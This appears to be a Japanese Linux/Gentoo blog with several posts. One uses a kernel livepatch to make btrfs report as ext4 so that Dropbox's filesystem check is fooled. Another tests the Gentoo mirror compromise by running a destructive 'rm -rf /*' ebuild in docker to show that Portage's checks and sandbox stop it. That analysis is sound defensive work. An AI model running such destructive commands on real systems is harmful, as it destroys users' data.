btrfs? Dropboxさん, あなたが見ているのはext4ですよ

注意: この記事の内容はわりと危険な部分があります. 使いたくなってもよく注意して理解して使ってください

わたしもまだ大して実動テストしてません. Dropboxの中身が消失したり, FSがこわれたり, なんかおもしろいことになっても責任は一切とれません. 技術的な観賞用に留めるのが無難です

はじめに

Dropboxext4しか対応しなくなるらしいですね. btrfs愛用者としてはハチャメチャめんどいです. ということで, なんとかしたくなりますね.

1つの方法として, 下の記事のようにbtrfs上にext4のイメージファイルを作ってあげるという方法があります.

qiita.com

ただこの方法だと, kernelの中で無駄にext4Dropboxのためだけに動かすことになりますね. ext4のmoduleなんか置いておきたくない. そう思いませんか

システムコールの結果を書きかえる

なんとかDropboxをだましてみましょう.

Dropboxは, statfs()システムコールを使ってファイルシステムの種類を取得しているようです. では, このシステムコールの結果を書きかえてやればDropboxをだませるんじゃない?

statfs()システムコールを呼ぶと, 以下のstruct statfsが返ってきます. このうち, f_typeにファイルシステムマジックナンバーが書かれています. ここをext4のものに書きかえてやればいいわけです.

gist1b945b7172bf97560cf9bf15aa73f5ce

livepatchで書きかえる

こんな時にべんりなのがLinux kernelのLivepatchなんですよ*1

この機能を使うと, カーネルのいろんな関数を自分の書いたものに差し換えられてべんりです

statfs()システムコールを呼ぶと, いろいろあってuser_statfs()関数にたどりつきます. このコードは下のようにvfs_statfs()を呼んでいます. vfs_statfs()がさらにファイルシステムごとのstatfsの関数を呼びます.

本当はvfs_statfs()を書きかえると, fstatfs()システムコールにも対応できていいんですが, シンボルの解決が面倒なのでこっちで済ませます.

gist261c74c6dfdf19f76bdc58e829d99ae5

これを書きかえて, こんなふうな関数を作ります. vfs_statfs()が正しく終了したら, st->f_typeEXT4_SUPER_MAGIC を書いてるだけです

gist5b144de1e2396aab8e717a63c39561f8

これにlivepatchするためのなんやかんやを書いて, kernel moduleとしてビルドできるようにしたものが, 以下のファイル

github.com

動かしてみる

これでDropboxをだませるんでしょうか? やってみましょう

まずは比較用にbtrfs上のdropboxをvanilla kernelで動かします. わたしは通知を表示するのにdunstを使っていますが, dunst -printで実行してやると, 通知内容を表示してくれるのでべんりです. その上でdropboxを起動すると, 以下のようにうるさい身勝手な通知がとんできてます

$ dunst -print
{
	appname: 'Dropbox'
	summary: 'Move Dropbox by Nov 2018'
	body: 'Dropbox is on a file system that will no longer be supported. Details...'
	icon: 'dialog-information'
	raw_icon set: false
	category: 
	timeout: 10000
	urgency: NORMAL
	transient: 0
	formatted: '<strong>Move Dropbox by Nov 2018</strong>
Dropbox is on a file system that will no longer be supported. Details...'
	fg: #ffffff
	bg: #285577
	frame: #aaaaaa
	id: 2
	actions:
	{
		[default,default]
	}
	actions_dmenu: #default [Dropbox]
	script: (null)
}

ついでにコマンドでも確かめてやるとこんな感じ

$ stat -f ~/Dropbox/
  File: "/home/naota/Dropbox/"
    ID: 546b23f0cd0e1903 Namelen: 255     Type: btrfs
Block size: 4096       Fundamental block size: 4096
Blocks: Total: 116433920  Free: 103094488  Available: 102796532
Inodes: Total: 0          Free: 0

 Type: btrfsで怒られてますね〜

ここでさっきのlivepatch moduleをロードします. ロードすると, user_statfs()関数が自分の書いたlivepatch_user_statfs()に置きかえられます.

すると, statコマンドの結果が"Type: ext2/ext3"と変わります. さらにここでdropboxを起動しても, (なにも出てこてないので見せようがないが)さっきのうるさい通知が出てきません.

$ sudo insmod module/fake-ext4-v0.ko
$ stat -f /home/naota/Dropbox
  File: "/home/naota/Dropbox"
    ID: 546b23f0cd0e1903 Namelen: 255     Type: ext2/ext3
Block size: 4096       Fundamental block size: 4096
Blocks: Total: 116433920  Free: 103096727  Available: 102798307
Inodes: Total: 0          Free: 0

めでたくDropboxを黙らせることに成功しました. やったぜ

 

しかし, これは随分と大ざっぱなことをやっています. dropbox以外でも全てのstatfs()の結果がext4に書きかわっているわけです. 大丈夫なんでしょうか?

たとえば, うちはFSのrootからbtrfsなんですが…これもext4に見えています.

$ stat -f /
  File: "/"
    ID: 546b23f0cd0e1852 Namelen: 255     Type: ext2/ext3
Block size: 4096       Fundamental block size: 4096
Blocks: Total: 116433920  Free: 103093875  Available: 102795927
Inodes: Total: 0          Free: 0

 ここでbtrfsコマンドでsubvolumeの一覧を見るコマンドをたたいてみると……なんということでしょう, コマンドが動かなくなってしまいました

$ sudo btrfs subvolume list /
ERROR: not a btrfs filesystem: /
ERROR: can't access '/'

Dropboxディレクトリだけ書きかえる

さっきの方法だとあまりに大雑把でいろいろ影響が出てきそうです. やばくならないうちに, livepatchを解除しておきましょう.

$ echo 0 | sudo tee /sys/kernel/livepatch/fake_ext4_v0/enabled
$ rmmod fake_ext4_v0 # しばらくたたないとダメな時もある

なんとかDropboxディレクトリだけext4に見せかけることができないでしょうか?

これにはstatfs()に指定されたパスを見ていくなどいくつか方法はあると思います. うちではDropboxディレクトリが個別のbtrfsのsubvolumeになっているので, ファイルシステムID(FSID)で識別することにしました.

さきほどの"stat -f ~/Dropbox", "stat -f /"のIDの部分を見てください. "~/Dropbox"では"ID: 546b23f0cd0e1903"で, "/"では"ID: 546b23f0cd0e1852"になっています. これは作成したファイルシステム固有のIDで, btrfsではsubvolumeごとに別のIDになります. ここでDropboxディレクトリかどうか見分けてやりましょう.

"stat -f"で見たIDを定義して, さっきはエラーチェックだけしていた部分にFSIDの比較を追加します.

gist5579cbbdea96629710934be8e86e777f

ではこれで, livepatchしてみましょう. moduleをロードしてstatしてみると? ちゃんと/はbtrfsでありながら, Dropboxext4に見えています. もちろんdropboxも変な通知をとばしてきませんし, btrfsコマンドも動いている感じです.

$ sudo insmod module/fake-ext4-v1.ko
$ stat -f / ~/Dropbox/ File: "/" ID: 546b23f0cd0e1852 Namelen: 255 Type: btrfs Block size: 4096 Fundamental block size: 4096 Blocks: Total: 116433920 Free: 103093043 Available: 102795175 Inodes: Total: 0 Free: 0 File: "/home/naota/Dropbox/" ID: 546b23f0cd0e1903 Namelen: 255 Type: ext2/ext3 Block size: 4096 Fundamental block size: 4096 Blocks: Total: 116433920 Free: 103093043 Available: 102795175 Inodes: Total: 0 Free: 0 $ sudo btrfs subvolume list / ID 260 gen 79047 top level 5 path var/log ID 261 gen 79050 top level 5 path home/naota ID 262 gen 79045 top level 5 path var/tmp ID 263 gen 79003 top level 5 path etc ID 265 gen 23700 top level 5 path srv ID 266 gen 493 top level 5 path var/lib/portables ID 267 gen 494 top level 5 path var/lib/machines ID 340 gen 79045 top level 261 path home/naota/Dropbox

終わりに

Dropboxの中がやばいことになる可能性はあるので特に覚悟がなければ片付けておきましょう.

$ echo 0 | sudo tee /sys/kernel/livepatch/fake_ext4_v1/enabled
$ rmmod fake_ext4_v1 # しばらくたたないとダメな時もある

コードはここにまとめておきます. 覚悟があれば livepatchしてdropboxを黙らせてみるのもいいでしょう. kernelの更新で, user_statfs()が書き変わったら追従するなどしないとすごいことになることもあると思います.

github.com

 

*1:本来こんなことに使うのではないと思うが

GentooのGitHubがクラックされてrm -r /入ってたそうだけどやばいの?

GentooGitHub リポジトリが乗っ取られて, 復旧作業のためアクセスできなくなってますね.

infra-status.gentoo.org

どうやら ebuild (パッケージビルド&インストールするためのbashスクリプトファイル)に "rm -rf /*"とかもしこまれていたとか.

なんか見た感じやばそうだけど, 実際のところやばいんでしょうか?

まあ, もちろんのっとられたからにはやばいし, しばらく該当 GitHub リポジトリを避けておくのがいいんですが, 実際どのぐらいなにが起きるぐらいやばいんでしょうか?

ということで, 以下の話をします.

  • やられたリポジトリがやばくない
    • ミラーだから, 開発者は使わないよ
    • いろいろないから, 一般ユーザも普通使わないよ
    • プルリク受けつけと、まあバックアップぐらいのとこだよ
  • 書かれたコマンドがやばくない
    • ebuild の先頭に rm -rf 書いても動かないよ
    • /bin/rm でも sandbox で止まるよ
  • その他
    • せっかくだし git から sync してる人は PGP の verify は有効にするとよさそう

やられたリポジトリがやばくない

f:id:meech:20180701213516p:plain:w2368:h300

Gentoo のパッケージリポジトリは, 3つの場所で公開されています. 1つは開発者が commit を行うリポジトリGentoo 公式の git.gentoo.org 上でホスティングされています.

2つ目は, GitHubgentoo/gentoo にある, このリポジトリのミラーです. 定期的に git.gentoo.org から commit が 上書き されてきます.

3つ目は, GitHubgentoo-mirror/gentooリポジトリです. 一般ユーザがパッケージツリーを git pull したい時に使います.

今回やられたのは, 2番目の GitHubgentoo/gentoo にあるリポジトリです. 開発者はここには push しませんし, そのうちミラーで上書きされる(らしい)ので開発者のコードがやられた状態ではありませんでした.

では, ユーザ側はどうでしょうか? このミラーから pull していることはないのでしょうか?

ここで少し Gentoo のパッケージツリーの話をします. Gentoo のパッケージ情報は"Portageツリー"と呼ばれ, 各パッケージのebuildファイルが, "カテゴリ/パッケージ名"のディレクトリの下に配置されています. Portageツリーの中には膨大な量の ebuild ファイル(いま見たら35,537個)が入っています. パッケージのインストール・更新時には, この Portage ツリーをひたすらなめていく………のはちょっと大変なので ebuild のキャッシュがあればそれを読みます. これによって, パッケージのインストールが高速化されているわけです.

このキャッシュの内容自体は ebuild の内容とかぶっている(キャッシュなので当然)ので, 1番目の開発者のリポジトリにも, そのミラーである2番目のリポジトリにも入っていません. キャッシュは, 3番目のリポジトリにだけ入っています. すなわち, git.gentoo.org にホストされている開発者リポジトリから, ebuildファイルをコピーして, キャッシュを生成・追加したものが3番目のリポジトリ(あと rsync や http でも取得できる)として公開されています.

つまり, ユーザは3番目のリポジトリからgit pull してきて, 今回やられたミラーからは 普通は git pull しないということです.

また, そもそもデフォルトではリポジトリツリーの取得は rsync で行われ, git pull での同期は明示的に設定しなければならないという点もあります(が, Gentooは選択だし奇特な人も多いので…)

余談ですが, ではなぜ2番目のリポジトリがあるのでしょうか? 1つの意味はメインサーバが死んだ時用のミラーです(kernel.org が昔やられたように). そして, もう1つより使いやすいバグレポ・Pull Request の受け付けという意味もあります. それでいうと, PR書こうとしてgit pullしていた人は改変された portage ツリーを入手していたかもしれません.

書かれたコマンドがやばくない

では, 仮に改変されたportageツリーが来ちゃってたらどうでしょうか? rm -rf /* なんて書いてあるんだし, お使いのPCは全滅です, するんでしょうか?

実際のところ, 今回の変更であれば, チェック機構にひっかかって影響はありません.

かなり省略してますが, Gentooebuild ファイルは以下のようになっています. 基本的には bash スクリプトですが, いくつか変数を設定したり, src_compile といった決まった名前の関数内にやりたい処理を書いたりします.

EAPI=6
KEYWORDS="amd64"
SLOT="0"

src_compile() {
    emake
}

今回, これの先頭にrm -rf /*が入っていたということでこうなりますね.

rm -rf /*
EAPI=6
KEYWORDS="amd64"
SLOT="0"

src_compile() {
    emake
}

では動かしてみましょう. みなさんGentooをお持ちでしょうのでそこで・・・・・するのはこわいのでdocker でも使っときましょう. Gentoo の公式イメージがあるんで使っておきましょう. portageツリーを担当するコンテナ(gentoo/portage)と, それを使う Gentoo のシステムコンテナとを立ち上げますと, Gentoo な環境に導かれていきます.

$ docker create -v /usr/portage --name portagesnap gentoo/portage:latest /bin/true
$ docker run --rm -i -t --volumes-from portagesnap gentoo/stage3-amd64 /bin/bash

適当にディレクトリを作ってさっきのebuild を設置します. 今回は"app-misc/test"というパッケージ名になります.

# mkdir -p portage/app-misc/test
# cat > portage/app-misc/test/test-0.ebuild

そして, PORTDIR_OVERLAYでこのebuildの入ったツリーを指定し emerge してみます. (FEATURES=digest は, ebuildチェックサムの確認をスキップするため) なにもかも消えちゃうんでしょうか? ドキドキ

# PORTDIR_OVERLAY=/portage FEATURES=digest emerge -1 app-misc/test
Calculating dependencies - * ERROR: app-misc/test-0::x-portage failed (depend phase):
 *   External commands disallowed while sourcing ebuild: rm -rf /bin /boot /deleteme /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt
 /portage /proc /root /run /sbin /sys /tmp /usr /var
 *
 * Call stack:
 - *       ebuild.sh, line 635:  Called source '/portage/app-misc/test/test-0.ebuild'
 *   test-0.ebuild, line   1:  Called command_not_found_handle 'rm' '-rf' '/bin' '/boot' '/deleteme' '/dev' '/etc' '/home' '/lib' '/lib3
2' '/lib64' '/media' '/mnt' '/opt' '/portage' '/proc' '/root' '/run' '/sbin' '/sys' '/tmp' '/usr' '/var'
 *       ebuild.sh, line  88:  Called die
 * The specific snippet of code:
 *              die "External commands disallowed while sourcing ebuild: ${*}"
 *
 * If you need support, post the output of `emerge --info '=app-misc/test-0::x-portage'`,
 * the complete build log and the output of `emerge -pqv '=app-misc/test-0::x-portage'`.
 * Working directory: '/usr/lib64/python3.5/site-packages'
 * S: '/var/tmp/portage/app-misc/test-0/work/test-0'
 / * ERROR: app-misc/test-0::x-portage failed (depend phase):
 *   External commands disallowed while sourcing ebuild: rm -rf /bin /boot /deleteme /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt
 /portage /proc /root /run /sbin /sys /tmp /usr /var
 *
 * Call stack:
 *       ebuild.sh, line 635:  Called source '/portage/app-misc/test/test-0.ebuild'
 *   test-0.ebuild, line   1:  Called command_not_found_handle 'rm' '-rf' '/bin' '/boot' '/deleteme' '/dev' '/etc' '/home' '/lib' '/lib3
2' '/lib64' '/media' '/mnt' '/opt' '/portage' '/proc' '/root' '/run' '/sbin' '/sys' '/tmp' '/usr' '/var'
 *       ebuild.sh, line  88:  Called die
 * The specific snippet of code:
 - *            die "External commands disallowed while sourcing ebuild: ${*}"
 *
 * If you need support, post the output of `emerge --info '=app-misc/test-0::x-portage'`,
 * the complete build log and the output of `emerge -pqv '=app-misc/test-0::x-portage'`.
 * Working directory: '/usr/lib64/python3.5/site-packages'
 * S: '/var/tmp/portage/app-misc/test-0/work/test-0'
... done!

!!! All ebuilds that could satisfy "app-misc/test" have been masked.
!!! One of the following masked packages is required to complete your request:
- app-misc/test-0::x-portage (masked by: corruption)

For more information, see the MASKED PACKAGES section in the emerge
man page or refer to the Gentoo Handbook.

なんだかたくさんエラーが出てきて失敗したようです. なにも消えてなさそうです…

見てみると, "External commands disallowed while sourcing ebuild" とエラーが出てます. つまり, 今回のように関数の外になる先頭にコマンドを書いても実行されないんですね〜 (これ command_not_found_handle で実装してるのか〜)

では, これが "/bin/rm" だったらどうなるんでしょう?

# PORTDIR_OVERLAY=/portage FEATURES=digest emerge -1 app-misc/test
Calculating dependencies - * ACCESS DENIED:  unlinkat:     /bin/arping
 * ISE:write_logfile: unable to append logfile: app-misc_-_test-0
 * /var/tmp/portage/sys-apps/sandbox-2.13/work/sandbox-2.13/libsandbox/libsandbox.c:check_syscall():968: failure (Bad file descriptor):
 * ISE: unlinkat(/bin/arping)
        abs_path: /bin/arping
        res_path: /bin/arping
/usr/lib64/libsandbox.so(+0xb765)[0x7f1b4aec6765]
/usr/lib64/libsandbox.so(+0xb848)[0x7f1b4aec6848]
/usr/lib64/libsandbox.so(+0x53b5)[0x7f1b4aec03b5]
/usr/lib64/libsandbox.so(unlinkat+0x59)[0x7f1b4aec5999]
/bin/rm(+0x2ab0)[0x558484d5fab0]
/bin/rm(+0x3641)[0x558484d60641]
/bin/rm(+0x23f3)[0x558484d5f3f3]
/lib64/libc.so.6(__libc_start_main+0xea)[0x7f1b4ab17f0a]
/bin/rm(+0x255a)[0x558484d5f55a]
/proc/6090/cmdline \/bin/rm -rf /bin /boot /deleteme /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt /portage /proc /root /run /sbin
 /sys /tmp /usr /var

/portage/app-misc/test/test-0.ebuild: line 1:  6090 Aborted                 /bin/rm -rf /*
 * EAPI assignment in ebuild 'app-misc/test-0::x-portage' does not
 * conform with PMS section 7.3.1 (see bug #402167):
 *      valid EAPI assignment must occur on or before line: 1
 - * ACCESS DENIED:  unlinkat:     /bin/arping
 * ISE:write_logfile: unable to append logfile: app-misc_-_test-0
 * /var/tmp/portage/sys-apps/sandbox-2.13/work/sandbox-2.13/libsandbox/libsandbox.c:check_syscall():968: failure (Bad file descriptor):
 * ISE: unlinkat(/bin/arping)
        abs_path: /bin/arping
        res_path: /bin/arping
/usr/lib64/libsandbox.so(+0xb765)[0x7f798b60f765]
/usr/lib64/libsandbox.so(+0xb848)[0x7f798b60f848]
/usr/lib64/libsandbox.so(+0x53b5)[0x7f798b6093b5]
/usr/lib64/libsandbox.so(unlinkat+0x59)[0x7f798b60e999]
/bin/rm(+0x2ab0)[0x55a60649eab0]
/bin/rm(+0x3641)[0x55a60649f641]
/bin/rm(+0x23f3)[0x55a60649e3f3]
/lib64/libc.so.6(__libc_start_main+0xea)[0x7f798b260f0a]
/bin/rm(+0x255a)[0x55a60649e55a]
/proc/6133/cmdline: /bin/rm -rf /bin /boot /deleteme /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt /portage /proc /root /run /sbin
 /sys /tmp /usr /var

/portage/app-misc/test/test-0.ebuild: line 1:  6133 Aborted                 /bin/rm -rf /*
 * EAPI assignment in ebuild 'app-misc/test-0::x-portage' does not
 * conform with PMS section 7.3.1 (see bug #402167):
 *      valid EAPI assignment must occur on or before line: 1
... done!

!!! All ebuilds that could satisfy "app-misc/test" have been masked.
!!! One of the following masked packages is required to complete your request:
- app-misc/test-0::x-portage (masked by: corruption)

また, いろいろ出てきて失敗しているようです……フルパスにしたので command_not_found_handle にはひっかからないはずなのだが?

今度はsandboxにひっかかっています. Gentoo では ebuild ファイルを sandbox の中で実行しています. 今回は, ISE: unlinkat(/bin/arping) とあるように, rm -rf /*が /bin/arping を削除しようとしたものの, そのパスへの変更はsandboxで許可された動作ではないため止められてしまいました.

実際, この sandbox は結構にべんりで, うっかり変なパッケージが configure やら make の中で "rm -rf /*" などしようとしても, sandbox にひっかかって無事にすむんですね〜

ということで, 関数外部チェックや sandbox のおかげもあり, 今回のコマンドは無力化されていたわけでした (もちろん, うまく動かす関数の場所を選べばアレなんですが)

その他

当然他にも防御朔があります. しれっと書いてた ebuild のハッシュチェックもそうですし, 開発者のgitリポジトリにはPGPサインしてpush しなければいけませんし, rsyncやhttpの場合でもツリー全体でのハッシュチェックが行われるようになっています.

PGPサインのチェックはgitの場合, いまのところデフォルトでは走っていないようなのでこのような設定(sync-git-verify-commit-signature = true)をしておくとよりよいでしょう.

Project:Repository mirror and CI - Gentoo Wiki

Gentooの「依存USEフラグ」をお掃除しよう

Gentooってべんりですよね. たとえば, あるパッケージでpython2系のコードはいれとかなくてもいいな〜と思ったら, そのパッケージのUSEフラグからPYTHON_TARGETS=python2_6を落としておけば, python2.6のコードなしでインストールができちゃう.

ところが, 時にはこれがめんどいことになりますね. 新しくパッケージを入れようとしたら, python2しかまだ対応してなくて, おかげで依存するパッケージ群にPYTHON_TARGETS=python2_6を生やしてまわることになったりしますね. まあ--autounmask-write使えば, だいたい勝手に書かれるんですけども.

実際に問題になるのは, このほしかったパッケージがpython3対応した時で. ここでほしかったパッケージからPYTHON_TARGETS=python2_6を落とせるわけですが, 依存するパッケージからPYTHON_TARGETS=python2_6を落とせるかどうか, それは注意深く依存関係をたどっていくか, 実際に落としてビルドを試すまでわからない. こんなふうに依存で入ってきた「USEフラグ」というのは後片付けがとてもめんどい.

これが依存パッケージであれば, emerge --depcleanでいいんだけれど, 「依存USEフラグ」まではきれいにしてくれない. とてもつらい. しかも, それが何段も依存関係を作ったりもする. かなりつらい.

と, いうことで, そういう「依存USEフラグ」がworldパッケージまでちゃんと依存のチェーンがつながっているかを解析するスクリプトをひとつ書きました. 「依存USE」になるのはこういうの:

TARGET_REGEXP = r"^((?:ruby|python)_targets_|python_single_target_|abi_x86_)"

github.com

実行するだけで, こんな感じで消してもよさそうなUSEフラグを出してきます. あとはこれを眺めてお掃除しちゃるといいわけですね.

$ python3 chain-dep-scanner.py|grep ruby22|head
dev-ruby/ruby-clutter:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-clutter-gstreamer:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-gtk2:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-gdk3:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-vte3:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-clutter-gdk:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-clutter-gtk:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-webkit2-gtk:0[ruby_targets_ruby22] is not pulled by any world packages
dev-ruby/ruby-gnome2:0[ruby_targets_ruby22] is not pulled by any world packages

ただ実行してみるとわかるんですが, 現状あちこち問題はあります.

たとえば, "app-accessibility/espeak:0[abi_x86_64] is not pulled by any world packages"のように, グローバルでオンにしてるようなUSEに関しては出てきてもあんまりうれしくないです. また, PYTHON_TARGETS=python3_6としてるけど, python3.5までしかまだ対応してないよというパッケージも, disableにする余地がないので出てきてほしくないわけですね. 多分pythonだったらこれにしたい〜, rubyはこれにしたい〜という願望を引数に渡して, それが実現できそうなpackageだけリストするモードとかあるといいんでしょうね. そのうち実装します(それかだれかPRでも・・・・)

GCE でemerge -e world, インスタンスはどれにする?

今後記事で詳しく書いていく予定なのだけれど, 最近Gentooの開発用のDockerイメージを作っている. Gentoo 公式のDockerイメージの gentoo/stage3-amd64 から ACCEPT_KEYWORDS=~amd64 emerge -uDN --with-bdeps=y world したものだと思えばよい.

https://hub.docker.com/r/naota/gentoo-devel/

毎日, そういうビルドを自分のマシンで回すというのもめんどうなので, GCE (Google Compute Engine)でやっていくことにした. こんな感じの ansible playbook でドーンとVMとsystemdのserviceがデプロイされる.

github.com

 

さて, ここでインスタンスをどうしするのがベストかな〜というのが問題となる. f1-micro や g1-small といった共有コアインスタンスから, 最大96コアのインスタンスまでいろいろありますね.

マシンタイプ  |  Compute Engine ドキュメント  |  Google Cloud Platform


とりあえず Gentooのビルドにどれがいいか調べてみよう. 標準マシンタイプでコア数を1, 2, 4, 8, 16まで変えてみる. (それに応じてメモリ量も増える) ワークロードとしては, emerge -e world (システムに入っている全パッケージのビルドし直し) をやっておく. Dockerのボリュームは, 永続SSD上に載っていて, ビルドもこのSSD上で行われる.

(なお, 16コアまでなのは, デフォルトで24コアまでのクォータがかかってるから. 96コアまで制限外してって言ってみたら先にマネーをある程度チャージしてくれとのこと, なるほど〜)


はい, ではemerge -eの時間はどうなったかなというのが下. 1コアだと4時間ぐらいかかっているのが, 16コアだと80分まで減ってる. すごい!!

f:id:meech:20180222211951p:plain


いや, でもちょっと待って. インスタンスはコア数によって価格が変わってしまいますね. 1コアのプリエンプティブ料金で1時間0.01ドル, 2コアで0.02ドルと, コア数 X $0.01 の料金がかかる (ゾーンはアイオワ, 多分一番安い). ということで, このワークロードを毎日1ケ月, 30日まわしたらおいくらかかる?というのが下

 

f:id:meech:20180222212023p:plain

いやぁ………コア数増やすほどコストは上がってますね…かなしい.

 

さて, ここでもう1つワークロードを見ておきましょう. 上記のように開発用のイメージを作るという場合であっても, 毎日同じパッケージをビルドする必要はありません. 一度ビルドしたものはバイナリパッケージとして保存しておいて, 新しい(アップデートされた)パッケージだけビルドしたらよくない? ということですね.

ということで, 次のワークロードは全部バイナリパッケージがあるという状態で, emerge -e world します. バイナリパッけージを展開して全部いれ直すというやつですね.

結果はこちら, ついでにコストも. コア数が1つで16分, 16個で10分とそれなりに減ってはいるけれどIOの方が多いワークロードだろうし, ビルドと比べるとそこまでは減っていってない. そんなもんだね

f:id:meech:20180222212049p:plain

f:id:meech:20180222212100p:plain


ということで, GCEでGentooの(最初の状態のシステムでの)ビルドをまわすとだいたいこの2つの線の間になる, ということでしょう. 月5ドルぐらいなら16コアでもいいかな〜とかコスパを考えて1コアかな〜とかそこはいろいろですかね.

 

f:id:meech:20180222212128p:plain

 

あとは上の方のインスタンスだとメモリが十分にあるので, /dev/shm でビルドしたりできるかな. そのへんはまた今度.

それと, これはstage3初期からのemerge -e worldだから, コア数によるスケール効果が出にくい小さなパッケージが多い, ということもある. もしこれがKDE全部ビルドするなどなると, きっといろいろ変わってくるでしょうね.

(それにしても, 112パッケージ(圧縮した状態で, 223M)をバイナリでインストールで10分ってちょっと遅いような気もする. 他だとどんなもんなんだろ. Archとかはやそうだが)

GentooのBINPKGの複数インスタンスとか

FEATURES=binpkg-multi-instance の話をもっとと見かけたのでもっと

これまで Gentooのバイナリパッケージを生成すると, /usr/portage/packages/app-shells/bash-4.4_p18.tbz2 のような感じで, /usr/portage/packages の下に "<category>/<package>-<version>.tbz2" というファイル名で保存されてきた. この保存ファイル名は, Gentooにしては異常に窮屈なものだ.

Gentooのパッケージというのは, USEフラグをいろいろ変えたり, ビルド時に依存関係が書きこまれたりする. バイナリパッケージがあっても, もし, これらUSEフラグなどが異なればそのバイナリパッケージを使うことができない. もともとのファイル名だと, 「最後にビルドした時」と同じUSEフラグなどでなければ, そのパッケージは使えない. Gentoo でそんなことできるはずがない. いろんなマシン用にバイナリをホストしだすとますます大きな問題になってしまう. だからGentooでバイナリパッケージがはやらないんだ(ちがう?

さて, では FEATURES=binpkg-multi-instance にするとどうなるの? バイナリパッケージのファイル名が "app-shells/bash/bash-4.4_p18-1.xpak" のように "<category>/<package>/<package>-<version>-<buildID>.xpak" となる. <version>の後に<BuildID>がついた. このIDにより, 同じパッケージ・バージョンでも別のバイナリパッケージを置けるようになるのだ. やったぜ

BuildID はどうやって決まるのか? これはパッケージごとに最初は"1", その次は"2"みたいに単調にインクリメントされる. (なんかびみょうな実装なような気がするぞ, いいけど) そして, いまのところquickpkgは同じconfigかどうかなどチェックしていないようだ. すなわち, FEATURES=binpkg-multi-instance して, 同じパッケージを quickpkg するとどんどん BuildID が増えていく.


BINPKGの複数インスタンスは, こんな話でした


ちなみにだけれど, この新しいファイル配置は昔のファイル配置と互換性があるみたい. なんで, さくっと FEATURES=binpkg-multi-instance しちゃっていいと思う. いろんなマシン用にバイナリパッケージ作っている人には, ほんとにべんりになると思う.

GentooのBINPKGの圧縮とか複数インスタンスとか

ひさしぶりにman make.confなど見ていると, `BINPKG_COMPRESS` という変数があったのに気がついた. Gentooのバイナリパッケージの圧縮方法を選べるやつで, "bzip2, gzip, lz4, lzip, lzop, xz, zstd"に対応している.

話題のzstdもあるじゃん. どんぐらい圧縮時間やらサイズやら変わるんだろうね, ということでやってみた

 

結果とスクリプトはこちら

gist88666f8b36ae927edefef14486572565

とりあえずグラフにしてみよう.

f:id:meech:20180221125656p:plain

f:id:meech:20180221125708p:plain

(しれっとlzopないけど、package入れてなかったのでとばした)

サイズでいうとlzipかxz, まあxzの方がよく見るしxzを選ぶといい感じだろうか. ただパフォーマンスは悪い

パフォーマンスでいうとlz4とzstdがよい. ただサイズも見ると, zstd一択といったところか.

よく使われるbzip2とgzipは, よく知られている通りのぼちぼちな結果で, 互いにサイズとパフォーマンスにトレードオフがある. そうだね.


サイズで選んでxzなのか, パフォーマンスで選んでzstdなのか, (デフォルトのbzip2のぼちぼちでいくか)Gentooのバイナリパッケージにはどちらがよいだろうか.

xzの場合, 全体で300秒ほどかかっているが, 今回作ったパッケージは45個なので1つあたりの平均6.76秒.

一方, xzはzstdに対して72%のサイズになる.

5,6秒ならコンパイル時間に比べれば些細なものだし, サイズをとってxzでいいのではないか. 展開は速くていいみたいだしね, debianもそうしてるよね

 

 

 

 

投稿して気づいたけど、 複数インスタンスの話をしてねえ!!

FEATURES=binpkg-multi-instance ってのが増えて, USEフラグ違いとかdepend違いで同じebuildに対して個別にbinary packageを作れるようになった。べんり〜。これでいろんなUSEとかでもbinary packageを活用できるようになったぞ!

Gentooのbinary packageの夜明けじゃああ!

今日のLKML: テストしてテストしてからbitを立てる

こういうpatchが投稿されている

[10/12] writeback: only allow one inflight and pending full flush - Patchwork

full flushが一度に1つまでしか走らないようにしたいね、というものなのだけど、中身は本題には関係はない

patchの中に以下のようなコードがある

+       if (test_bit(WB_start_all, &wb->state))
+               return;
+
+       set_bit(WB_start_all, &wb->state); 

 "wb->state"のWB_start_allのbitが立っていたらreturnして、立ってなかったら立てる、というもの。このWB_start_allで"full flush"の排他をしていることになる。

厳密には、これは排他になっていない。1つ目のスレッドがtest_bit()してから、set_bit()するまでの間に、2つ目のスレッドがtest_bit()でbitを見にいくことがある。その場合、2つのスレッドが同時に"critical section"に入ってしまう。

ここを厳密な排他にするには、test_and_set_bit()を使う。

linux/atomic.h at master · torvalds/linux · GitHub

もちろんそんなことはkernel developerには、わかっている。patchのコメントは以下のように書いてある

It doesn't matter if we race a little bit on this, so use the faster separate test/set bit variants. 

 もともとfull syncが2つ以上一緒に走ると重いよね、ぐらいのものなのでここで厳密な排他は必要ないのだ。

こういうatomicityが必要でない場合には、test_bit()とset_bit()とを分けた方がいい時もある。

test_and_set_bit()を使うと必ずbitを立てる、すなわち値を更新してしまう。すると、cache lineがdirtyになる。頻繁に呼ばれ、多くの場合にbitが立っているような場所では、この「cache lineを汚すかどうか」が大きな違いになってくる。

 

で、頻繁に呼ばれるところで無駄にcache lineを汚さずにtest_and_set_bitしたいな〜となると以下のようなコードを書くことになる

if (test_bit(bit, addr) || test_and_set_bit(bit, addr))
...

 スレッドはpatchの内容をすっかり離れて、こうした"idiom"のdocumentないし、それもあわせてなんか関数作っとく?という話になる。そこで関数の名前の話になり、"test_and_test_and_set_bit"がいいとか、"test_then_test_and_set_bit"がいいとか、patchの話どうしたみたいな感じになっていってる。

まあ以下のように解説があるぐらい知られている話なのだけど、関数名として見ると"test and test and set bit"ってなんかむずっとする名前だよな・・・と思った次第

Test and test-and-set - Wikipedia